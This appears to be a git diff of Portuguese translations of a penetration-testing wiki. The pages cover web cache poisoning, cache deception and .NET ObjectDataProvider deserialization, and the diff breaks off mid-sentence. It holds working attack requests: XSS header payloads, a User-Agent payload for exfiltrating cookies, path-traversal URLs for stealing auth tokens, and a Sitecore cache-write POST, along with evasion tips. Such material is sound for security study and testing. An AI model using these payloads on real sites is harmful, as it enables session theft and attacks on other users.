Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **brute-force parâmetros e cabeçalhos** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente carregar o script a partir dali: ```html ``` -### Provocar uma resposta prejudicial do servidor back-end +### Elicitar uma resposta prejudicial do servidor back-end -Com o parâmetro/header identificado, verifique como ele está sendo **sanitizado** e **onde** ele está **sendo refletido** ou afetando a resposta do header. Você consegue abusar disso de alguma forma (executar um XSS ou carregar um código JS controlado por você? executar um DoS?...) +With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) -### Fazer com que a resposta seja cacheada +### Faça com que a resposta seja armazenada em cache -Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**header** usar e **como** **abusar** dele, você precisa fazer com que a página seja cacheada. Dependendo do recurso que você está tentando colocar no cache isso pode levar algum tempo, pode ser necessário tentar por vários segundos. +Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. -O header **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando o request não foi cacheado e o valor **`hit`** quando está cacheado.\ -O header **`Cache-Control`** também é interessante para saber se um recurso está sendo cacheado e quando será a próxima vez que o recurso será recacheado: `Cache-Control: public, max-age=1800` +The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -Outro header interessante é **`Vary`**. Este header é frequentemente usado para **indicar headers adicionais** que são tratados como **parte da cache key** mesmo se normalmente não são keyeados. Portanto, se o usuário souber o `User-Agent` da vítima que está a ser alvo, ele pode poison the cache para os usuários que usam esse `User-Agent` específico. +Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. -Mais um header relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto está no proxy cache. +One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -Ao cachear um request, tenha **cuidado com os headers que você usa**, porque alguns deles podem ser **usados inesperadamente** como **parte da chave** e a **vítima precisará usar esse mesmo header**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. -## Exemplos de Exploração +## Exploiting Examples -### Exemplo mais simples +### Easiest example -Um header como `X-Forwarded-For` está sendo refletido na resposta sem sanitização.\ -Você pode enviar um payload XSS básico e poison the cache para que todo mundo que acessar a página seja XSSed: +A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ +You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Observe que isto irá poison uma request para `/en?region=uk` e não para `/en`_ +_Note que isto irá poison a request para `/en?region=uk` e não para `/en`_ -### Cache poisoning para DoS +### Cache poisoning to DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Cache poisoning através de CDNs +### Cache poisoning through CDNs Em **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** é explicado o seguinte cenário simples: - A CDN irá armazenar em cache qualquer coisa sob `/share/` -- A CDN NÃO irá decodificar nem normalizar `%2F..%2F`, portanto pode ser usado como **path traversal to access other sensitive locations that will be cached** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- O servidor web VAI decodificar e normalizar `%2F..%2F`, e responderá com `/api/auth/session`, que **contém o auth token**. +- A CDN NÃO irá decode nem normalize `%2F..%2F`, portanto, pode ser usada como **path traversal to access other sensitive locations that will be cached** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- O web server VAI decode e normalize `%2F..%2F`, e irá responder com `/api/auth/session`, que **contains the auth token**. -### Usando web cache poisoning para explorar vulnerabilidades no tratamento de cookies +### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderá explorar XSS em vários clientes que carreguem a resposta em cache maliciosa. +Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderia explorar XSS em vários clients que carreguem a resposta de cache maliciosa. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Note que, se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache. +Note que se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache. -### Gerando discrepâncias com delimitadores, normalização e pontos +### Generating discrepancies with delimiters, normalization and dots -Veja: +Confira: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning com path traversal para roubar API key +### Cache poisoning with path traversal to steal API key [**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. @@ -117,18 +117,18 @@ Isto também é explicado melhor em: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Usando múltiplos headers para explorar web cache poisoning vulnerabilities +### Using multiple headers to exploit web cache poisoning vulnerabilities -Às vezes será necessário **exploit several unkeyed inputs** para poder abusar de um cache. Por exemplo, você pode encontrar um **Open redirect** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. Você pode controlar para onde a página é apontada pelo redirect. +Às vezes você precisará **exploit several unkeyed inputs** para poder abusar de um cache. Por exemplo, você pode encontrar um **Open redirect** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **If** o **server** estiver **forwarding** todas as **HTTP** requests **to HTTPS** e usando o header `X-Forwarded-Scheme` como o nome de domínio para o redirect, você pode controlar para onde a página é apontada pelo redirect. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Explorando com `Vary` cabeçalho limitado +### Explorando com `Vary`header -Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **domain name to load a JS resource**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**, então você precisa encontrar uma forma de exfiltrate o `User-Agent` da vítima e poison the cache usando esse `User-Agent`: +Se você descobriu que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS** mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma forma de exfiltrar o User-Agent da vítima e envenenar o cache usando esse User-Agent: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -137,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Envie uma requisição GET com os parâmetros na URL e também no body. Se o web server usar os valores do body, mas o cache server armazenar os da URL, qualquer pessoa acessando essa URL acabará usando o parâmetro do body. Como a vuln que James Kettle encontrou no website do Github: +Envie um GET request com o request na URL e no body. Se o web server usar o que está no body mas o cache server cachear o que está na URL, qualquer pessoa acessando essa URL na verdade usará o parameter do body. Como a vuln que James Kettle encontrou no site do Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -150,7 +150,7 @@ Há um lab do PortSwigger sobre isso: [https://portswigger.net/web-security/web- ### Parameter Cloacking -For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. +Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros sem chave dentro de parâmetros com chave e abusar disso. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -158,60 +158,60 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo Aprenda aqui como realizar [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Testes automatizados para Web Cache Poisoning +### Automated testing for Web Cache Poisoning -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta várias técnicas diferentes e é altamente personalizável. +O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta muitas técnicas diferentes e é altamente personalizável. Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em cabeçalho com o comportamento de CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários: +Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em header com o comportamento do CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários: -- O HTML principal refletia um cabeçalho de requisição não confiável (e.g., `User-Agent`) em contexto executável. -- O CDN removia headers de cache mas existia um cache interno/origem. O CDN também fazia auto-cache de requisições terminando em extensões estáticas (e.g., `.js`), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca em GETs para assets estáticos. -- Peculiaridades no fluxo de requisições permitiam que uma requisição para um path `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho. +- O HTML principal refletia um cabeçalho de requisição não confiável (por exemplo, `User-Agent`) para um contexto executável. +- O CDN removia headers de cache, mas existia um cache interno/origem. O CDN também armazenava em cache automaticamente requisições terminadas em extensões estáticas (por exemplo, `.js`), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca a GETs para assets estáticos. +- Peculiaridades no fluxo de requisições permitiram que uma requisição para um caminho `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de header. Receita prática (observada em um CDN/WAF popular): -1) A partir de um IP limpo (evite rebaixamentos baseados em reputação prévia), defina um `User-Agent` malicioso via navegador ou Burp Proxy Match & Replace. -2) No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (single-packet mode works best): -- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. -- Immediately after: GET the main page (`/`). -3) A corrida de roteamento do CDN/WAF mais o `.js` auto-cacheado frequentemente semeiam uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões de `Vary` como `User-Agent`). +1) A partir de um IP limpo (evite downgrades pré-existentes baseados em reputação), defina um `User-Agent` malicioso via browser ou Burp Proxy Match & Replace. +2) No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (o modo single-packet funciona melhor): +- Primeira requisição: GET de um caminho de recurso `.js` na mesma origem enquanto envia seu `User-Agent` malicioso. +- Imediatamente depois: GET da página principal (`/`). +3) A corrida de roteamento do CDN/WAF, juntamente com o `.js` armazenado em cache automaticamente, frequentemente semeia uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões `Vary` como `User-Agent`). Exemplo de payload de header (para exfiltrar cookies não-HttpOnly): ``` User-Agent: Mo00ozilla/5.0" ``` -Operational tips: +Dicas operacionais: -- Muitos CDN ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e throttle para evitar gatilhos de rate-limit ou de reputação. -- Usar um IP da própria cloud do CDN às vezes melhora a consistência do roteamento. -- Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto HTML principal e o CSP permitir execução inline ou for contornado pelo contexto. +- Muitos CDNs ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e regule a taxa para evitar gatilhos de rate-limit ou de reputação. +- Usar um IP da própria nuvem do CDN às vezes melhora a consistência do roteamento. +- Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto principal do HTML e o CSP permitir execução inline ou for contornado pelo contexto. -Impact: +Impacto: -- Se os cookies de sessão não são `HttpOnly`, zero-click ATO é possível por exfiltração em massa de `document.cookie` de todos os usuários que recebem o poisoned HTML. +- Se os cookies de sessão não forem `HttpOnly`, um ATO zero-click é possível ao exfiltrar em massa `document.cookie` de todos os usuários que recebem o poisoned HTML. -Defenses: +Defesas: -- Pare de refletir request headers no HTML; faça context-encode estrito se inevitável. Alinhe as políticas de cache do CDN e da origin e evite variar com base em cabeçalhos não confiáveis. -- Garanta que o WAF aplique inspeção de conteúdo de forma consistente às requisições `.js` e caminhos estáticos. +- Pare de refletir cabeçalhos de requisição no HTML; faça encoding estrito por contexto se for inevitável. Alinhe as políticas de cache do CDN e da origem e evite variar com base em cabeçalhos não confiáveis. +- Garanta que o WAF aplique inspeção de conteúdo de forma consistente a requisições `.js` e caminhos estáticos. - Defina `HttpOnly` (e `Secure`, `SameSite`) nos cookies de sessão. ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) -Um padrão específico do Sitecore permite gravações não autenticadas no HtmlCache ao abusar de pre‑auth XAML handlers e da reflexão do AjaxScriptManager. Quando o handler `Sitecore.Shell.Xaml.WebControl` é alcançado, um `xmlcontrol:GlobalHeader` (derivado de `Sitecore.Web.UI.WebControl`) está disponível e a seguinte chamada reflexiva é permitida: +Um padrão específico do Sitecore permite escritas não autenticadas no HtmlCache ao abusar de handlers XAML pré‑auth e da reflexão do AjaxScriptManager. Quando o handler `Sitecore.Shell.Xaml.WebControl` é alcançado, um `xmlcontrol:GlobalHeader` (derivado de `Sitecore.Web.UI.WebControl`) está disponível e a seguinte chamada reflexiva é permitida: ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -Isso escreve HTML arbitrário sob um cache key escolhido pelo atacante, permitindo cache poisoning preciso uma vez que os cache keys sejam conhecidos. +Isso grava HTML arbitrário sob uma chave de cache escolhida pelo atacante, permitindo envenenamento preciso uma vez que as chaves de cache são conhecidas. -For full details (cache key construction, ItemService enumeration and a chained post-auth deserialization RCE): +Para detalhes completos (construção da chave de cache, enumeração do ItemService e uma RCE de desserialização encadeada pós-autenticação): {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md @@ -221,45 +221,45 @@ For full details (cache key construction, ItemService enumeration and a chained ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou o cache key usando apenas host, path e query (ignorando o fragmento). Assim, a requisição `/#/../?r=javascript:alert(1)` foi enviada ao backend como `/#/../?r=javascript:alert(1)` e o cache key não continha o payload dentro dele, apenas host, path e query. +ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas host, path e query (ignorando o fragmento). Então a requisição `/#/../?r=javascript:alert(1)` era enviada ao backend como `/#/../?r=javascript:alert(1)` e a chave de cache não tinha o payload dentro dela, apenas host, path e query. ### GitHub CP-DoS -Enviar um valor inválido no header content-type acionou uma resposta 405 em cache. O cache key continha o cookie, então era possível atacar apenas usuários não autenticados. +Enviar um valor incorreto no header content-type acionava uma resposta 405 em cache. A chave de cache continha o cookie então era possível atacar apenas usuários não autenticados. ### GitLab + GCP CP-DoS -GitLab usa GCP buckets para armazenar conteúdo estático. **GCP Buckets** suportam o **header `x-http-method-override`**. Portanto era possível enviar o header `x-http-method-override: HEAD` e poison the cache into returning an empty response body. Também podia suportar o método `PURGE`. +GitLab usa GCP buckets para armazenar conteúdo estático. **GCP Buckets** suportam o **header `x-http-method-override`**. Então foi possível enviar o header `x-http-method-override: HEAD` e envenenar o cache fazendo com que retornasse um corpo de resposta vazio. Também poderia suportar o método `PURGE`. ### Rack Middleware (Ruby on Rails) -Em aplicações Ruby on Rails, Rack middleware é frequentemente utilizado. O propósito do código Rack é pegar o valor do header **`x-forwarded-scheme`** e defini-lo como o scheme da request. Quando o header `x-forwarded-scheme: http` é enviado, ocorre um redirect 301 para o mesmo local, potencialmente causando Denial of Service (DoS) para esse recurso. Adicionalmente, a aplicação pode respeitar o header `X-forwarded-host` e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança. +Em aplicações Ruby on Rails, é comum utilizar middleware Rack. O propósito do código Rack é pegar o valor do header **`x-forwarded-scheme`** e defini-lo como o scheme da requisição. Quando o header `x-forwarded-scheme: http` é enviado, ocorre um redirect 301 para a mesma localização, potencialmente causando um Denial of Service (DoS) a esse recurso. Adicionalmente, a aplicação pode reconhecer o header `X-forwarded-host` e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança. -### 403 and Storage Buckets +### 403 e Storage Buckets -Cloudflare anteriormente colocava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultaria em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento ainda pode estar presente em outros proxies. +Cloudflare anteriormente cacheava respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultava em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento pode ainda estar presente em outros serviços proxy. -### Injecting Keyed Parameters +### Injetando Parâmetros Chaveados -Caches frequentemente incluem parâmetros GET específicos no cache key. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas requisições. Contudo, se uma versão codificada em URL do parâmetro (ex.: `siz%65`) também fosse enviada com um valor errado, o cache key seria construído usando o parâmetro `size` correto. Entretanto, o backend processaria o valor no parâmetro codificado em URL. Codificar em URL o segundo parâmetro `size` levava à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request cacheável. +Caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly cacheava o parâmetro `size` nas requisições. Porém, se uma versão URL-encoded do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor errado, a chave de cache seria construída usando o parâmetro `size` correto. Ainda assim, o backend processaria o valor no parâmetro URL-encoded. URL-encodar o segundo parâmetro `size` fazia com que ele fosse omitido pelo cache mas utilizado pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request que podia ser cacheado. -### User Agent Rules +### Regras de User Agent -Alguns desenvolvedores bloqueiam requisições com user-agents que combinam com ferramentas de alta carga como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS. +Alguns desenvolvedores bloqueiam requisições com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerir a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS. -### Illegal Header Fields +### Campos de Header Ilegais -O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo **tchar** deveriam idealmente disparar uma resposta 400 Bad Request. Na prática, servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header `cache-control` não esteja presente. Foi identificado um padrão explorável onde o envio de um header com um caractere ilegal, como `\`, resultava em um 400 Bad Request cacheável. +[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo **tchar** especificado idealmente deveriam acionar uma resposta 400 Bad Request. Na prática, servidores nem sempre seguem esse padrão. Um exemplo notável é a Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header `cache-control` não esteja presente. Foi identificado um padrão explorável onde enviar um header com um caractere ilegal, como `\`, resultava em um erro 400 Bad Request que podia ser cacheado. -### Finding new headers +### Encontrando novos headers [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception -O objetivo do Cache Deception é fazer os clientes **load resources that are going to be saved by the cache with their sensitive information**. +O objetivo do Cache Deception é fazer com que clientes carreguem recursos que vão ser salvos pelo cache com suas informações sensíveis. -Antes de tudo, note que **extensions** como `.css`, `.js`, `.png` etc. geralmente estão **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js` o cache provavelmente irá armazenar a resposta porque identifica a **extension** `.js`. Mas, se a **application** estiver respondendo com os conteúdos **sensiveis** do usuário armazenados em _www.example.com/profile.php_, você pode **steal** esses conteúdos de outros usuários. +Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. costumam ser **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js` o cache provavelmente armazenará a resposta porque ele vê a **extensão** `.js`. Mas, se a **aplicação** estiver respondendo com os conteúdos **sensíveis** do usuário armazenados em `www.example.com/profile.php`, você pode **roubar** esses conteúdos de outros usuários. Outras coisas para testar: @@ -268,21 +268,21 @@ Outras coisas para testar: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Use lesser known extensions such as_ `.avif` +- _Use extensões menos conhecidas, como_ `.avif` -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_ o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache irá salvar o resultado.\ -Então, o **attacker** pode acessar _http://www.example.com/home.php/non-existent.css_ no próprio navegador e observar as **confidential information** dos usuários que acessaram antes. +Outro exemplo bem claro pode ser encontrado neste write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +No exemplo, é explicado que se você carregar uma página inexistente como `http://www.example.com/home.php/non-existent.css` o conteúdo de `http://www.example.com/home.php` (**com as informações sensíveis do usuário**) será retornado e o servidor de cache vai salvar o resultado.\ +Então, o **attacker** pode acessar `http://www.example.com/home.php/non-existent.css` no próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes. -Note que o **cache proxy** deve estar **configured** para **cache** arquivos com base na **extension** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de `text/css`. +Observe que o **proxy de cache** deve ser **configurado** para **cachear** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo `http://www.example.com/home.php/non-existent.css` terá um content-type `text/html` em vez de um mime type `text/css`. -Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Aprenda aqui sobre como realizar[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Ferramentas Automáticas -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner para encontrar web cache poisoning vulnerabilities em uma lista de URLs e testar múltiplas injection techniques. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner para encontrar vulnerabilidades de web cache poisoning em uma lista de URLs e testar múltiplas técnicas de injeção. -## References +## Referências - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 991d7855e..ea89bafd0 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,4 +1,4 @@ -# Deserialização .Net Básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# Desserialização .Net básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} @@ -6,19 +6,19 @@ Esta postagem é dedicada a **entender como o gadget ObjectDataProvider é explo ## ObjectDataProvider Gadget -From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -Pois é, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite **encapsular um objeto arbitrário**, usar _**MethodParameters**_ para **definir parâmetros arbitrários,** e então **usar MethodName para chamar uma função arbitrária** do objeto arbitrário declarada usando os parâmetros arbitrários.\ -Portanto, o arbitrário **objeto** irá **executar** uma **função** com **parâmetros enquanto é desserializado.** +Da documentação: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ +Ok, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: essa classe permite **encapsular um objeto arbitrário**, usar _**MethodParameters**_ para **definir parâmetros arbitrários**, e então **usar MethodName para chamar uma função arbitrária** do objeto arbitrário declarado usando os parâmetros arbitrários.\ +Portanto, o **objeto** arbitrário irá **executar** uma **função** com **parâmetros enquanto está sendo desserializado.** ### **Como isso é possível** -O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado. +O namespace **System.Windows.Data**, encontrado dentro de **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado. Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que nos interessa. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Como você pode observar, quando `MethodName` é definido `base.Refresh()` é chamado, vamos dar uma olhada no que isso faz: +Como você pode observar, quando `MethodName` é definido `base.Refresh()` é chamado; vamos dar uma olhada no que ele faz: ![](<../../images/image (319).png>) @@ -26,13 +26,13 @@ Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobresc ![](<../../images/image (345).png>) -Note que no final do código ele está chamando `this.QueryWorke(null)`. Vamos ver o que isso executa: +Note que no final do código ele chama `this.QueryWorke(null)`. Vamos ver o que isso executa: ![](<../../images/image (596).png>) -Note que este não é o código completo da função `QueryWorker`, mas mostra a parte interessante dela: O código **chama `this.InvokeMethodOnInstance(out ex);`** — esta é a linha onde o **método definido é invocado**. +Note que este não é o código completo da função `QueryWorker` mas mostra a parte interessante dela: o código **chama `this.InvokeMethodOnInstance(out ex);`** esta é a linha onde o **método definido é invocado**. -Se você quer verificar que apenas definindo o _**MethodName**_ **ele será executado**, você pode rodar este código: +Se você quiser verificar que apenas definindo o _**MethodName**_ **ele será executado**, você pode executar este código: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,12 +56,12 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0. ## ExpandedWrapper -Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Nesse caso, não terá **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Usando o exploit anterior haverá casos em que o **object** será **deserializado como** uma instância _**ObjectDataProvider**_ (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Nesse caso, não haverá **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma dada instância. Portanto, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\ -Isto é muito útil para casos como o apresentado anteriormente, pois seremos capazes de 